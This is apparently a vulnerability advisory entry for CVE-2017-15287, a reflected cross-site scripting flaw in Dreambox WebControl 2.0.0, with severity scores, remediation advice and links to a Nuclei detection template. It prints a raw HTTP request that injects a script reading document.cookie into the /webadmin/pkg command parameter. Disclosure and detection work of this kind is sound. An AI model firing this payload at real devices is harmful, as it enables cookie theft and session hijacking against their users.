| Title | Dreambox WebControl 2.0.0 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a patched version of Dreambox WebControl or apply appropriate input sanitization to prevent XSS attacks. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03021 |
| CVE ID | CVE-2017-15287 |
| CWE ID | CWE-79 |
| Tags | cve cve2017 dreambox edb xss bouqueteditor_project vuln |
Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the “Name des Bouquets” field, or the file parameter to the /file URI.
GET /webadmin/pkg?command=<script>alert(document.cookie)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-15287.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-15287.pcap
N/AN/A